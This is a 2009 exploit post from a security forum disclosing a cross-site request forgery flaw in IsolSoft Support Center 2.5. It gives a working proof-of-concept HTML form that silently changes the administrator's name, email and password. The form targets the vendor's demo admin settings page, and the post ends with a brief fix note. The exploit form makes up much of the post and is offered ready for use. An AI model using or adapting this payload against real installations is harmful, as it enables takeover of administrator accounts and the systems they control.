IsolSoft Support Center 2.5 ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > IsolSoft Support Center 2.5 ~ XSRF Vuln.

Madde
	Author : Bug Researchers/F0RTYS3V3N
	Date : 13.09.2009 20:20:43
	# IsolSoft Support Center 2.5 ~ XSRF Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # author : F0RTYS3V3N # Script Name : IsolSoft Support Center 2.5 # Bug Type : XSRF # Infection : Admin Bilgileri Degistirilebilir. # Download : http://isolsoft.com/cadmin/file_server.php?c=2c1b044b96bc5763d4701787adeefd79b6b0ea3101390e638eab14b6ab512582abef9d4dec41f6238ca3281fb435cf9dbc5798ac563e83d033b9f3be82478116990x237x4 # Demo : http://www.isolsoft.com/demo # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli, eski sifre sorulmalidir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form name=formdat method=POST action=http://www.isolsoft.com/demo/admin/settings.php?action=adinfo onSubmit=validateForm(’name’,’’,’R’,’Name’,’email’,’’,’RisEmail’,’Email’);return document.returnValue> <input type=text name=name value=Administrator Name> <input type=text name=email value=F0RTYS3v3N@maili.com> <input type=password name=pass1 size=15 value=F0RTYS3V3N> <input type=password name=pass2 size=15 value=F0RTYS3V3N> <input type=checkbox class=binput name=jsmenu value=1 checked> <td colspan=2 class=row_caption><input type=submit name=Submit value=modify></td> <input type=hidden name=take_action value=adinfo> </form> < -- bug code end of -- >